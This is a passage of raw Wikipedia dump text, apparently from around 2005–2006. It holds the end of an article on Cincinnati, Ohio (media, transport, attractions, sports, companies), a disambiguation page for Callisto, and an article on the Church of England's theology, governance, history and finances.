**WVXU 91.7 FM NPR; Public Radio   [http://www.wvxu.org/html/wvxu.html]
**WOFX &quot;The FOX&quot; Classic Rock 92.5 FM   [http://www.foxcincinnati.com]
**WAKW &quot;New Life 93&quot; Christian 93.3 FM   [http://www.wakw.com]
**WVMX &quot;Mix 94.1&quot; Adult Contemporary FM   [http://www.wvmx.com]
**WMOJ &quot;Jammin' Oldies&quot; Oldies 94.9 FM   [http://www.mojo949.com]
**WYGY &quot;The Star&quot; Country 96.5 FM   [http://www.965thestar.com]
**WAQZ &quot;Cincinnati's New Rock 97.3&quot; Alternative Rock 97.3 FM   [http://www.newrock973.com]
**[[WOXY (FM)]] &quot;97.7 Max FM&quot;
**WRRM &quot;Warm 98&quot; Soft Rock 98.5 FM   [http://www.warm98.com]
**WIZF &quot;The Wiz&quot; Urban Contemporary 100.9 FM   [http://www.wizfm.com]
**WKRQ &quot;Q 102&quot; Top 40 101.9 FM   [http://www.wkrq.com]
**WEBN &quot;WEBN&quot; Rock 102.7 FM   [http://www.webn.com]
**WGRR &quot;Oldies 103.5&quot; Oldies 103.5 FM   [http://www.wgrr.com]
**WNLT &quot;K Love&quot; Contemporary Christian 104.3 FM   [http://www.klove.com]
**WNKU &quot;Best Public Radio in the country&quot; Eclectic music 89.7 FM [http://wnku.org]
**WUBE &quot;B 105&quot; Country 105.1 FM   [http://www.wube.com]
**WPFB &quot;The Rebel&quot; Country 105.9 FM   [http://www.1059therebel.com]
**WKFS &quot;KISS 107 FM&quot; Top 40 107.1   [http://www.kisscincinnati.com]
**WDBZ &quot;The Buzz of Cincinnati&quot; 1320 AM Black Talk

===Online media===
*The following are online media outlets, including new aggregators, in the Cincinnati area:
**''The [[Dean of Cincinnati]] -- now at The Cincinnati Beacon'' [http://www.cincinnatibeacon.com]
**''513 Green PAC'' [http://www.513gpac.fiveonetree.org]
**''AroundCinci.com'' [http://www.aroundcinci.com]
**''Blue Chip Review'' [http://bluechipreview.com]
**''Cincinnati.com'' [http://www.cincinnati.com]
**''The Cincinnati Nation'' [http://www.cincinnatination.com]
**''NKY.com'' [http://www.nky.com]
**''Queen City Forum'' [http://queencityforum.com]
**''[[WOXY (internet radio)]]'' [http://www.woxy.com]
**''[[Cincymusic.com]]'' [http://www.cincymusic.com]

==Transportation==
*[[Cincinnati-Northern Kentucky International Airport]] is located in [[Hebron, Kentucky]], and serves Cincinnati, Ohio.
*The [[John A. Roebling Suspension Bridge]], opened in 1866, links Cincinnati and [[Covington, Kentucky]].  This bridge was the prototype for the [[Brooklyn Bridge]], also designed by Roebling.
*Cincinnati is accessible via interstates [[I-75]], [[I-71]] and [[I-74]].  [[Interstate 275 (Ohio)|I-275]] is a [[beltway]] around the city, and [[I-471]] links it to [[Newport, Kentucky]].
*[[Lunken Airport]] - Cincinnati Municipal Airfield
*[[Amtrak]] Passenger Rail Service
*[[Greyhound Lines]] Bus Service 
*Cincinnati has an unfinished [[Cincinnati Subway|Subway]], abandoned during construction in 1925 due to cost overruns.  The existing tunnels now stand vacant.
*[[METRO]] city passenger bus, operated by [[SORTA]], the Southwest [[Ohio]] Regional Transit Authority
*[[Transit Authority of Northern Kentucky|TANK]] Transit Authority of Northern [[Kentucky]] in Downtown Cincinnati, south of sixth street.

==Culture==
* [[Mt. Adams]]
* [[Clifton Gaslight District]]
* [[Big Pig Gig]]
* [[Cornhole]], which originated in Cincinnati's West Side

===Attractions===
* [[Cincinnati Zoo and Botanical Garden]]
* [[Newport Aquarium]] (across the Ohio River) [http://www.newportaquarium.org/]
* [[Cincinnati Museum Center]] [http://www.cincymuseum.org/]combines the Cincinnati Children's Museum, the Cincinnati Museum of Natural History and Science, the OmniMax Cinema, and the Cincinnati History Museum in the classic Art-Deco Union Terminal, the largest half-dome on the planet Earth.
* [[Krohn Conservatory]]
* [[Mt. Airy Arboretum]]
* [[Spring Grove Cemetery]]
* [[Coney Island of Cincinnati]]
* [[Paramount's Kings Island]], located in [[Mason, Ohio|Mason]], a suburb 20 miles northeast of Cincinnati
* [[Boomerang Bay Waterpark]], also in Mason, also owned by Paramount
* [[The Beach Waterpark]], also in Mason
* [[TPC at River's Bend]], a [[golf]] club that hosts a [[Champions Tour]] event (men's senior golf)
* [[Cincinnati Masters|Western &amp; Southern Financial Group Masters]], an important [[tennis]] tournament held in Mason
* [[National Underground Railroad Freedom Center]]
* [[Taft Museum of Art]]

===Buildings===
[[Image:Cincinnati Music Hall 2002b.jpg|thumb|Cincinnati Music Hall]]
* [[Carew Tower]] tallest building in Cincinnati and a National Histroic Landmark; open air observation deck on 49th story; prototype for Empire State Building
* [[PNC Tower]] 5th tallest in the world (tallest in the US outside of New York City) when it was built in 1914
* [[Scripps Center]] Home of the world headquarters for Scripps Howard
* [[Ingalls Building]] The world's first reinforced concrete skyscraper
* [[Star Tower]]
* [[Cincinnati Museum Center at Union Terminal]] A former train station; now a museum; example of [[Art Deco]] style. Amtrak station has returned to Union Terminal since renovation.
* [[US Bank Tower (Cincinnati)|US Bank Tower]]
* [[The Contemporary Arts Center]] By Iraqi architect [[Zaha Hadid]], 2004 winner of the [[Pritzker Prize]].  Called by the New York Times the &quot;most important American building to be completed since the end of the Cold War.&quot;
* [[Aronoff Center]] Performing art center, by architect [[César Pelli]].
* [[Aronoff Center for Design and Art]] Home of the [[University of Cincinnati]] College of Design, Architecture, Art and Planning, by architect [[Peter Eisenman]].
* [[Vontz Center]] for Molecular Studies at [[University of Cincinnati]], by architect [[Frank Gehry]], 1989 winner of the [[Pritzker Prize]].
* [[Engineering Resarch Center]] at [[University of Cincinnati]], by architect [[Michael Graves]].
* [[College Conservatory of Music]] at [[University of Cincinnati]], by architect [[Henry Cobb]] partner of [[I.M. Pei]].
* Campus Recreation Center at [[University of Cincinnati]], by architect Thom Mayne, 2005 winner of the [[Pritzker Prize]].
* Athletic Center at [[University of Cincinnati]], by architect [[Bernard Tschumi]].  Opening 2006.

===Galleries===
* [[Carl Solway Gallery]]
* [[Cincinnati Art Galleries]] 
* [[The Design Consortium Gallery]]
* [[Miller Gallery]]
* [[Visual History Gallery]]
* [[Weston Art Gallery]]

===Famous Cincinnati natives===
*[[William Howard Taft]]&amp;nbsp;&amp;ndash; [[President of the United States]], [[Chief Justice of the United States]]
*[[William Henry Harrison]]&amp;nbsp;&amp;ndash; President of the United States
*[[Sarah Jessica Parker]]&amp;nbsp;&amp;ndash; actress
*[[Carmen Electra]]&amp;nbsp;&amp;ndash; entertainer
*[[Bootsy Collins]]&amp;nbsp;&amp;ndash; musician
*[[Jerry Springer]]&amp;nbsp;&amp;ndash; talk show host and former mayor of Cincinnati
*[[Roger Staubach]]&amp;nbsp;&amp;ndash; football player
*[[Barry Larkin]]&amp;nbsp;&amp;ndash; baseball player
*[[Oscar Robertson]]&amp;nbsp;&amp;ndash; Former Cincinnati guard and NBA Great
*[[Ken Griffey, Jr.]]&amp;nbsp;&amp;ndash; baseball player (born in [[Pennsylvania]], raised in Cincinnati)
*[[Pete Rose]]&amp;nbsp;&amp;ndash; baseball player
*[[Frank Duveneck]]&amp;nbsp;&amp;ndash; painter
*[[Ulysses S. Grant]]&amp;nbsp;&amp;ndash; President of the United States, General
*[[Henry Heimlich]] &amp;nbsp;&amp;ndash; co-developer of the Heimlich maneuver
*[[Powel Crosley Jr.]]&amp;nbsp;&amp;ndash; inventor, industrialist, and entrepreneur 
*[[Steven Spielberg]]&amp;nbsp;&amp;ndash; producer/director
*[[George Clooney]]&amp;nbsp;&amp;ndash; Actor
*[[Ted Turner]]&amp;nbsp;&amp;ndash; Media Mogul
*[[Roy Rogers]]&amp;nbsp;&amp;ndash; The Singing Cowboy
*[[Bill Hemmer]]&amp;nbsp;&amp;ndash; FOX News Channel Anchor
*[[Andy Williams]]&amp;nbsp;&amp;ndash; singer
*[[Doris Day]]&amp;nbsp;&amp;ndash; actress
*[[Tony Snow]]&amp;nbsp;&amp;ndash; FOX News Channel Anchor and radio host
*[[Charles Manson]]&amp;nbsp;&amp;ndash; infamous murderer
*[[Rosemary Clooney]]&amp;nbsp;&amp;ndash; Singer/Actress
*[[William McGuffey]]&amp;nbsp;&amp;ndash; 19th century writer of the ''[[McGuffey Readers]]''
*[[Daniel Carter Beard]]&amp;nbsp;&amp;ndash; founder of the [[Boy Scouts of America]]
*[[Harriet Beecher Stowe]]&amp;nbsp;&amp;ndash; author of [[Uncle Tom's Cabin]], abolitionist
*[[Thomas Worthington Whittredge]]&amp;nbsp;&amp;ndash; painter [http://www.spfld-museum-of-art.org/collection/whittre.html]
*[[Linda Vester]]&amp;nbsp;&amp;ndash; FOX News Channel Anchor
*[[Leon Wesley Walls]]&amp;nbsp;&amp;ndash; Singer, Songwriter
*[[Nick Lachey]]&amp;nbsp;&amp;ndash; Singer, Member of 98 Degrees
*[[Suzanne Farrell]]&amp;nbsp;&amp;ndash; Ballerina
*[[Shaun Alexander]]&amp;nbsp;&amp;ndash; football player
*[[Neil Armstrong]]&amp;nbsp;&amp;ndash; astronaut
*[[John Boehner]]&amp;nbsp;&amp;ndash; House Majority Leader
*[[Julie Hagerty]]&amp;nbsp;&amp;ndash; Actress

===Museums===
* [[American Classical Music Hall of Fame and Museum]]
* [[Cincinnati Art Museum]]
* [[The Center for Holocaust and Humanity Education]]
* [http://www.cincyfiremuseum.com/history.html Cincinnati Fire Museum]
* [[John Hauck House]]
* [[Heritage Village Museum]]
* [[Cincinnati Museum Center at Union Terminal]]
* [[Cincinnati Observatory Center]]
* [[The Contemporary Arts Center]]
* [[Drake Planetarium]]
* [[Greater Cincinnati Science Education Center]]
* [[Harriet Beecher Stowe House]]
* [[National Signs of the Times Museum]]
* [[National Underground Railroad Freedom Center]]
* [[Newport Aquarium]] (in [[Newport, Kentucky]])
* [[The Taft Museum of Art]]

===Theater===
For a city of its size, Cincinnati boasts a vibrant community of theatre artists, educators, and producers.  Audiences can attend professional, semi-professional, community, and educational theatre opportunities year-round in the Cincinnati [[tri-state area]].  Many theatres within the region are members of the [[League of Cincinnati Theatres]].

'''Professional (equity) theatre'''

* [[Cincinnati Playhouse in the Park]]
* [[Ensemble Theatre of Cincinnati]]

'''Professional (non-equity) theatre'''

* [[Know Theatre Tribe]]
* [[Clear Stage Cincinnati]]
* [[Cincinnati Shakespeare Festival]]
* [[Cincinnati Public Theatre]]
* [[Stage First Cincinnati]]
* [[New Edgecliff Theater]]
* [[The Performance Gallery]]
* [[The Children's Theatre]]

'''Community (non-professional) theatre'''

* [[Mariemont Players]]
* [[Falcon Productions]]
* [[Ovation Theatre Company]]
* [[Cincinnati Music Theatre]]
* [[If Theatre Collective]]
* [[Showbiz Players]]

'''Educational theatre'''

In addition to theatre experiences offered through most high schools, which are critiqued by local students through the annual Cappie Awards, Cincinnati offers a number of college-level theatre/performing arts training and performing opportunities including:

* [[University of Cincinnati]]
* [[Xavier University]]
* [[Northern Kentucky University]]

===Food culture===
* [[Cincinnati chili]]
** [[Skyline Chili]]
** [http://www.campwashingtonchili.com Camp Washington Chili]
** [[Gold Star Chili]] [http://www.goldstarchili.com/]
** [[Price Hill Chili]]
* [[Goetta]]
* [[Montgomery Inn]] [http://www.montgomeryinn.com/]
* [[Graeter's Ice Cream]]
* [[LaRosa's Pizza]]
* [http://www.izzys.com Izzy's]
* [[Findlay Market]]
* [[United Dairy Farmers]]
* [http://www.aglamesis.com Aglamesis Bros. Ice Cream Parlor]
* [http://www.jeffruby.com Jeff Ruby Steakhouses]

==Sports==
[[Image:Great-american-ball-park.jpg|thumb|300px|[[Great American Ball Park]].]]
===Venues===
* [[Paul Brown Stadium]] &amp;ndash; Football, soccer (capacity 65,535)
* [[Great American Ball Park]] &amp;ndash; Baseball (42,059)
* [[Nippert Stadium]] &amp;ndash; [[University of Cincinnati]] football (35,000)
* [[U.S. Bank Arena]] &amp;ndash; Hockey, basketball, football, soccer (17,000)
* [[Fifth Third Arena]] &amp;ndash; University of Cincinnati athletics (13,176)
* [[Cincinnati Gardens]] &amp;ndash; Hockey, basketball, boxing (11,498)
* [[Cintas Center]] &amp;ndash; [[Xavier University (Cincinnati)|Xavier University]] athletics (10,250)

===Major league teams===
* [[Cincinnati Reds]], [[Major League Baseball]]
* [[Cincinnati Bengals]], [[National Football League]]

===Minor league teams===
* [[Cincinnati Kings]], [[USL Second Division]]
* [[Cincinnati Mighty Ducks]], [[American Hockey League]]&amp;nbsp;&amp;ndash; voluntarily suspended for 2005-2006 due to lack of an [[National Hockey League|NHL]] affiliate. Team hopes to return in 2006-2007 as the [[Cincinnati RailRaiders]] and as the [[Columbus Blue Jackets]]' affiliate.
* [[Cincinnati Dockers]], [[United States Australian Football League|USAFL]]

===Major colleges===
* [[University of Cincinnati]], [[University of Cincinnati|Cincinnati Bearcats]]; [[Big East]]
* [[Xavier University (Cincinnati)|Xavier University]], [[Xavier University (Cincinnati)|Xavier Musketeers]]; [[Atlantic Ten Conference|Atlantic 10]]
* [[Miami University]], [[Miami University|Miami RedHawks]]; [[Mid-American Conference]]
* The Union Institute
* Mount St. Joseph
* [[Northern Kentucky University]]
* [[Indiana Wesleyan University]]

The suburb of [[Mason, Ohio|Mason]] hosts the [[Cincinnati Masters|Western &amp; Southern Financial Group Masters]], one of the nine (men's) [[tennis]] events in the [[Association of Tennis Professionals|ATP]] [[Tennis Masters Series]]. Nearby [[Sparta, Kentucky]] is home to [[Kentucky Speedway]].

In March, [[2005]] and [[2006]], the [[U.S. Bank Arena]] will host the [[Atlantic 10 Conference]] men's basketball tournament.

Every May since [[2000]], Cincinnati has hosted the annual [[Flying Pig Marathon]] which winds through downtown and northern [[Kentucky]].

==Company headquarters in Cincinnati==
These companies have [[headquarters]] in Cincinnati:
*[[Procter &amp; Gamble]]&amp;nbsp;&amp;ndash; the world's largest consumer products company; recently acquired Gillette
*[[Kroger]]&amp;nbsp;&amp;ndash; The largest supermarket chain company in the United States; 17th largest corporation in the U.S.
*[[Fifth Third Bank]]&amp;nbsp;&amp;ndash; One of the top 20 largest banks in the United States.
*[[Cinergy Corporation]]&amp;nbsp;&amp;ndash; Soon to merge with [[Duke Energy]]; the resulting company's headquarters will be in [[North Carolina]].
*[[Cincinnati Bell]]
*[[Cincinnati Financial Corporation]]
*[[Comair|Comair Airlines]] - [[Delta Air Lines|Delta]] Connection (in [[Erlanger, Kentucky]])
*[[Chiquita Brands International]]
*Durobag Manufacturing Company (in [[Ludlow, Kentucky]])
*[[Federated Department Stores]]&amp;nbsp;&amp;ndash; The largest department store chain owner in the U.S. after the acquisition of May Department Stores. Federated Store brands (Lazarus, Rich's, Burdines, etc) have all been rebranded either as Macy's or Bloomingdale's. 
*[[GE Aircraft Engines]]- one of the world's largest aircraft engine manufacturers; a division of the GE conglomerate based in Evendale, Ohio (suburb of Cincinnati)
*[[US Playing Card Company]]&amp;nbsp;&amp;ndash; World's largest and most renowned playing card company 
*The Andrew Jergens Company, a subsidiary of Kao, Inc.
*[[Luxottica|Luxottica Retail]] (in [[Mason, Ohio]])-division of Luxottica sPA of Milan, Italy; manages the Lenscrafters, Pearle Vision, Sunglass Hut, and Watch Station retail brands.
*Omnicare (in [[Covington, Kentucky]])
*[[Roto-Rooter]]
*[[Toyota Motor Manufacturing North America]] (in [[Erlanger, Kentucky]])
*[[Fujitec]] America (in [[Lebanon, Ohio]])
*Western &amp; Southern Financial Group
*[[E.W. Scripps Company]]&amp;nbsp;&amp;ndash; A media company that owns many newspapers, cable channels and news stations. Also hosts the [[National Spelling Bee]].
*[[Convergys]]
*Portion PAC (in [[Mason, Ohio]])
*Formica Corporation
*[[Cintas]] (in [[Mason, Ohio]])
*[[Mitsubishi]] Automotive Electric America (in [[Mason, Ohio]])
*[[Skyline Chili]]
*Paycor, Inc.

==Sister cities==
Cincinnati has eight [[town twinning|sister cities]]{{mn|Sisters|3}}: 
{|
| valign=&quot;top&quot; |
* {{flagicon|Japan}} - [[Gifu]] ([[Japan]])
* {{flagicon|Zimbabwe}} - [[Harare]] ([[Zimbabwe]])
* {{flagicon|Ukraine}} - [[Kharkiv]] ([[Ukraine]])
* {{flagicon|People's Republic of China}} - [[Liuzhou]] ([[China]])
| valign=&quot;top&quot; |
* {{flagicon|Germany}} - [[Munich]] ([[Germany]])
* {{flagicon|France}} - [[Nancy]] ([[France]])
* {{flagicon|Taiwan}} - [[Taipei]] ([[Taiwan]])
* {{flagicon|Taiwan}} - [[Taipei-Tsien]] ([[Taiwan]])
|}

Cincinnati also has one un-official sister city of [[Netanya]] ([[Israel]]).

==See also==
{{Commonscat|Cincinnati, Ohio}}
*[[Cincinnati Flower Show]]
*[[List of famous people from Cincinnati]]
*[[List of Mayors of Cincinnati, Ohio]]
*[[List of cities and towns along the Ohio River]]
*[[History of Cincinnati, Ohio]]

==References==
&lt;!--This article uses [[Wikipedia:Footnote4]] please add references using that system and adjust the other references as necessary--&gt;
*{{mnb|NOAA|1}} Climate information from [http://www.noaa.gov/ NOAA].
*{{mnb|MaxMinTemps|2}} Maximum and minimum temperatures from [http://weather.yahoo.com/forecast/USOH0188.html Yahoo! Weather]
*{{mnb|Sisters|3}} Sister cities designated by [http://www.sister-cities.org/ Sister Cities International, Inc. (SCI)]

==External links==
*[http://www.cincinnati-oh.gov/ Cincinnati official website]
*[http://www.cincinnatiusa.org/ Cincinnati USA]
*[http://www.cincyimages.com Cincinnati Skyline, Images and Photographs]
*[http://www.vrcincinnati.com Virtual Reality Scenes of Cincinnati]
*[http://www.filmcincinnati.com Cincinnati Film Commission]
*[http://www.cincinnati.com/local/atoz/government.html City government in the reform period]
*[http://www.tysto.com/articles05/q2/20050407twilight.shtml Cincinnati by twilight] pictorial at Tysto.
*[http://www.robbucher.com/cincytheatre Cincinnati Theater Web]
*[http://www.huc.edu Skirball Museum,Hebrew Union College-Jewish Institute of Religion]
*[http://wineevents.awscincy.com/  Cincinnati Wine Events]
*[http://www.fundayevents.com/  Fun Day Events]
*[http://urbanohio.com/Cincinnati.htm Pictures of Cincinnati on UrbanOhio.com]
*[http://www.ohiohistorycentral.org/entry.php?rec=681] Some information about the historical race riots
*[http://www.ccrkba.org/journalfpp/Cotroll%20Journal%207.html] Detail of the 1841 riots
*[http://www.heritagepursuit.com/Hamilton/HamiltonChapXXIV.htm] Pro-slavery riots took place for days and other details of the 1884.
*[http://userwww.sfsu.edu/~rhernand/race_riots1.htm] Thousands of Blacks leave for Canada as a result of the riots

{{Mapit-US-cityscale|39.13616|-84.503088}}

{{Ohio}}

[[Category:All-America City]]
[[Category:Cincinnati, Ohio| ]]
[[Category:Cities in Ohio]]
[[Category:County seats in Ohio]]
[[Category:Hamilton County, Ohio]]

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[[zh:辛辛那堤]]</text>
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      <minor />
      <text xml:space="preserve">*'''[[Callisto (mythology)|Callisto]]''', the mythological figure
*'''[[Callisto (moon)|Callisto]]''', the moon of [[Jupiter (planet)|Jupiter]]
*'''[[Callisto (software)|Callisto]]''', the [[content management system]]
*'''[[Callisto (TV)|Callisto]]''', a recurring character in [[Xena: Warrior Princess]]; although set in the ancient Greek world there is no connection to the attributes of the mythological character.
*'''[[Callisto (comics)|Callisto]]''', an [[X-Men]] character.
*the codename of a Cadillac roadster design in the early 1980s, which became the Cadillac Allante.  
*'''[[Callisto (band)|Callisto]]''', a Finnish metal band
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      <text xml:space="preserve">The '''Church of England''' is the officially [[State religion|established]]  [[Christianity|Christian]] [[church]] in [[England]], and acts as the 'mother' and senior branch of the worldwide [[Anglican Communion]], as well as a founding member of the [[Porvoo Communion]].

[[Image:Hereford_Cathedral_Interior_May_2004.jpg|right|250px|thumb|[[Hereford Cathedral|Hereford]] is one of the church's forty-three [[cathedral]]s, many with histories stretching back centuries.]]

== Theology and sociology ==
The Church of England considers itself to stand both in a reformed tradition and in a catholic (but not [[Roman Catholic Church|Roman Catholic]]) church tradition: ''Reformed'' insofar as many of the principles of the [[Protestant Reformation]] have influenced it, and insofar as it does not accept Papal authority; Catholic, in that it views itself as the 'unbroken continuation of the early apostolic and later medieval' &quot;universal church&quot;, rather than as a 'new formation'. In its practices the Church of England is mixed: in some of its congregations worship remains closer to Roman Catholicism than most [[Protestantism|Protestant]] Churches, but in others it is difficult to distinguish between the Anglican forms in use and the uses of other Evangelical bodies. It holds many relatively conservative [[theology|theological]] beliefs, its [[liturgy|liturgical]] form of worship is traditional, and its organisation embodies a belief in the appropriateness of the historical [[episcopal]] hierarchy of [[archbishop]]s, [[bishop]]s, and [[diocese]]s. 

In many people's eyes the Church of England has as its primary distinguishing mark its breadth and 'open-mindedness'. In addition to the traditional mainstream, the church has long included &quot;[[high church]]&quot; and &quot;[[low church]]&quot; factions with their own particular preferences.  Today, practices range from those of the [[Anglo-Catholicism|Anglo-Catholics]], who emphasise [[liturgy]] and [[sacrament]]s, to the far more preaching-centred and less ritualistic services of [[Evangelicalism|Evangelical]]s and the high-octane gatherings of the [[Charismatic]]s. But this &quot;broad church&quot; faces various contentious doctrinal questions raised by the development of modern society, such as conflicts over the ordination of women as priests (accepted in 1992 and begun in 1994), and the status of non-celibate [[homosexuality|homosexual]] clergy (still unsettled today, but with a majority taking a conservative view). In July 2005, the divisions were once again apparent, as the [[General Synod]] voted to &quot;set in train&quot; the process of allowing the consecration of women as [[bishops]], scheduling debate on the specific legislation for February, 2006.

== Governance and administration ==
The British monarch (at present, [[Elizabeth II of the United Kingdom | Elizabeth II]]), has the constitutional title of &quot;[[Supreme Governor of the Church of England]]&quot;.

In practice, however, the administrative [[leadership]] of the church falls to the [[Archbishop of Canterbury]]. The worldwide [[Anglican Communion]] of independent national or regional churches  recognises the Archbishop of Canterbury as a kind of 'symbolic' leader. The Most Revd and Rt Hon. Dr [[Rowan Williams]] has served as Archbishop of Canterbury since 2002.

The Church of England has a legislative body, the [[General Synod of the Church of England | General Synod]]. However, fundamental legislation still has to pass through the [[Parliament of the United Kingdom | UK Parliament]]. The church has its own judicial branch, known as the [[Ecclesiastical courts]], which likewise form a part of the UK court system, but are largely moribund, since the provisions for the enforcement of ecclesiastical rulings were mostly removed a century ago by various High Court decisions.

In addition to England proper, the jurisdiction of the Church of England extends to the [[Isle of Man]], the [[Channel Islands]], the [[Isles of Scilly]], and a small part of [[Wales]]. In recent years, expatriate congregations on the continent of [[Europe]] have become the [[Diocese in Europe]].

== Appointments ==

All Rectors and Vicars are appointed by Patrons, who may be private individuals, corporate bodies such as cathedrals, colleges or trusts, by the bishop, or even appointed by the crown.  No clergyman can be instituted and inducted into a parish without swearing the Oath of Allegiance to Her Majesty, and taking the Oath of Canonical Obedience &quot;in all things lawful and honest&quot; to the bishop. Usually the archdeacon inducts into the actual possession of the benefice property - Church and Parsonage.  Curates are appointed by Rectors and Vicars, but if priests-in-charge then by the bishop after consultations with the patron. Cathedral clergy are appointed some by the Crown, some by the bishop, and some by the Dean and Chapter themselves. Clergy officiate in a diocese either because they hold office as beneficed clergy, or are licensed by the bishop when appointed (e.g. curates), or simply with permission.

The process of appointing diocesan bishops is more complex, and is handled by a body called the Crown Nominations Committee, which submits names to the Prime Minister (acting on behalf of the Crown) for consideration.  This process is described in the article [[Appointment of Church of England Bishops]].

==History==

''Main article: [[History of the Church of England]]''

[[Image:Rochester cathedral stained glass 2.jpg|right|thumb|Stained glass window in [[Rochester Cathedral]], Kent]]

The Church of England traces its formal corporate history from the 597 [[Augustine of Canterbury | Augustinian]] mission, stresses its continuity and identity with the primitive universal Western church, and notes the consolidation of its particular independent and national character in the post-[[Reformation]] events of [[Tudor dynasty | Tudor]] England.

Christianity arrived in Britain in the first or second centuries (probably via the tin trade route through [[Ireland]] and [[Spain]]), and existed independently of the Church of Rome, as did many other Christian communities of that era. Records note British bishops as attending the Council of [[Arles]] in [[314]]. The [[Pope]] sent [[Augustine of Canterbury |Saint Augustine]] from Rome in the [[6th century]] to evangelise the [[Angles]] in ([[597]]). With the help of Christians already residing in [[Kent]], he established his church in [[Canterbury,_Kent|Canterbury]], the capital of Kent, and became the first in the series of archbishops of Canterbury. 

Simultaneously, the [[Celtic Church]] of [[Columba|St.Columba]] continued to evangelise [[Scotland]]. The Celtic Church of North Britain submitted in some sense to the 'authority' of Rome at the [[Synod of Whitby]] in 644. Over the next few centuries, the Roman system introduced by Augustine gradually absorbed the pre-existing [[Celtic Christianity | Celtic Christian]] churches. 

England adhered to the the Roman Catholic church for nearly a thousand years, before the church separated itself from Rome in 1534, during the reign of King [[Henry VIII of England|Henry VIII]].  Under his son, [[Edward VI of England|Edward VI]] the church become theologically more radical before briefly rejoining the Roman church during the reign of Queen [[Mary I of England|Mary I]], in 1555. The settlement under [[Elizabeth I of England| Elizabeth I]] of a mildly protestant, catholic, apostolic, and established church (i.e subject to and part of the state) that accommodates a wide range of theological positions has essentially been its character since.  

==Related churches==
The Church of England's sister church in Ireland, the [[Church of Ireland]], also went through the reformation in the 16th century at the behest of Ireland's English rulers. Unlike in England, the majority of the populace did not go along with this, preferring continued adherence to [[Roman Catholicism]]; but the Church of Ireland retained official [[established church]] status in Ireland until 1871. To this day it remains organized on an all-island basis.

In [[Scotland]], the [[Church of Scotland]] is recognised in law ([[Church of Scotland Act 1921]]) as the &quot;national church&quot; (although it is not &quot;established&quot; in the same manner as the Church of England, having fuller autonomy of governance). The Church of Scotland has a [[Presbyterian]] system of government. A smaller Anglican church also exists in Scotland, known as the [[Scottish Episcopal Church]], which is in full communion with the Church of England. Its history is complicated and confusing, involving periods of official promotion and persecution; for a time, because of its association with [[Jacobitism]], it had to operate ''sub rosa''.

When [[Episcopal Church in the United States]] became independent of the Church of England after the [[War of American Independence]], the leadership of the Church of England did not believe itself legally able to consecrate new bishops without requiring of them the standard oath of loyalty to the crown. Consequently it was the bishops of the non-established Scottish Episcopal Church who consecrated the first American bishops, until new legislation allowed the Church of England to relax its policy.

The [[Church in Wales]], previously a part of the Church of England, underwent disestablishment in 1920 and at the same time became an independent member of the [[Anglican Communion]].

The Church of England stands in [[full communion]] with the other churches in the [[Anglican Communion]], and separately with the other signatories of the [[Porvoo Communion]]. The Church of England is also a full member of the [[Conference of European Churches]].

== Financial situation ==
The Church of England, although an [[established church]], does not receive any direct government support. Donations comprise its largest source of income, though it also relies heavily on the income from its various historic endowments.  [[As of 2005]], the Church of England had estimated total [http://www.cofe.anglican.org/info/funding/ outgoings] of around £900 million.

Historically, individual parishes both raised and spent the vast majority of the Church's funding, meaning that clergy pay depended on the wealth of the parish, and parish [[advowson]]s (the right to appoint clergy to particular parishes) could become extremely valuable gifts. Individual dioceses also held considerable assets: the Diocese of Durham possessed such vast wealth and temporal power that its Bishop became known as the '[[Prince-Bishop]]'.  Since the mid-19th century, however, the Church has made various moves to 'equalise' the situation, and clergy within each diocese now receive standard stipends paid from diocesan funds.  Meanwhile, the Church moved the majority of its income-generating assets (which in the past included a great deal of land, but today mostly take the form of financial stocks and bonds) out of the hands of individual clergy and bishops to the care of a body called the [[Church Commissioners]], which uses these funds to pay a range of non-parish expenses, including clergy pensions, and the expenses of cathedrals and bishops' houses.  These [http://www.cofe.anglican.org/about/churchcommissioners/annualreport/ funds] amount to around £3.9 billion, and generate income of around £164 million each year ([[as of 2003]]), around a fifth of the Church's overall income.  

The Church Commissioners give some of this money as 'grants' to local parishes; but the majority of the financial burden of church upkeep and the work of local parishes still rests with individual parish and diocese, which meet their requirements from donations.  Direct donations to the church (not including legacies) come to around £460 million per year, while parish and diocese reserve funds generate another £100 million. Funds raised in individual parishes account for almost all of this money, and the majority of it remains in the parish which raises it, meaning that the resources available to parishes still vary enormously, according to the level of donations they can raise.

Most parishes give a portion of their money, however, to the diocese as a 'quota'.  While this is not a compulsory payment, dioceses strongly encourage and rely on it being paid; it is usually only withheld by parishes either if are unable to find the funds or as a specific act of protest.  As well as paying central diocesan expenses such as the running of diocesan offices, these diocesan funds also provide clergy pay and housing expenses (which total around £260 million per year across all dioceses), meaning that clergy living conditions no longer depend on parish-specific fundraising.

Although asset-rich, the Church of England has to look after and maintain its thousands of churches nationwide &amp;mdash; the lion's share of England's built heritage. As current congregation numbers stand at relatively low levels and as maintenance bills increase as the buildings grow older, many of these churches cannot maintain economic self-sufficiency; but their historical and architectural importance make it difficult to sell them. In recent years, cathedrals and other famous churches have met some of their maintenance costs with grants from organisations such as [[English Heritage]]; but the Church Commissioners and [http://www.churchcare.co.uk/fundraising.html local fundraisers] must foot the bill entirely in the case of most small parish churches. (The government, however, does provide some assistance in the form of tax breaks, for example a 100 % [[VAT]] refund for renovations to religious buildings.)

In addition to consecrated buildings, the Church also controls numerous ancillary buildings attached to or associated with churches, including a good deal of clergy housing.  As well as vicarages and rectories, this housing includes residences (called 'palaces') for each of the Church's 114 bishops.  In some cases, this name seems entirely apt; buildings such as Archbishop of Canterbury's [[Lambeth Palace]] in London and Old Palace at [[Canterbury]] have truly palatial dimensions, while the Bishop of Durham's [[Auckland Palace]] has 50 rooms, a banqueting hall and 30 acres (120,000 m&amp;sup2;) of parkland.  However, many bishops have found the older palaces inappropriate for today's lifestyles, and some bishops' 'palaces' are simply ordinary 4-bedroomed houses.  Many dioceses which have retained large palaces now employ part of the space as administrative offices, while the bishops and their families live in a small apartment within the palace; and in recent years some dioceses have managed to put their palaces' excess space and grandeur to profitable use as conference centres.  All three of the more grand bishop's palaces mentioned above — Lambeth Palace, Canterbury Old Palace and Auckland Castle — serve as offices for church administration, conference venues, and only in a lesser degree the personal residence of a bishop. The size of the bishops' households has shrunk dramatically and their budgets for entertaining and staff form a tiny fraction of their pre-20th-century levels.

==See also== 
* [[History of the Church of England]]
* [[List of Church of England dioceses]]
* [[British monarchy]]
* [[History of England]]
* [[Anglicanism]]
* [[Book of Common Prayer]]
* [[Common Worship]]
* [[Anglican Communion]]
* [[General Synod]]
* [[antidisestablishmentarianism]]
* [[Sydney Anglicans]]
* [[Religion in the United Kingdom]]
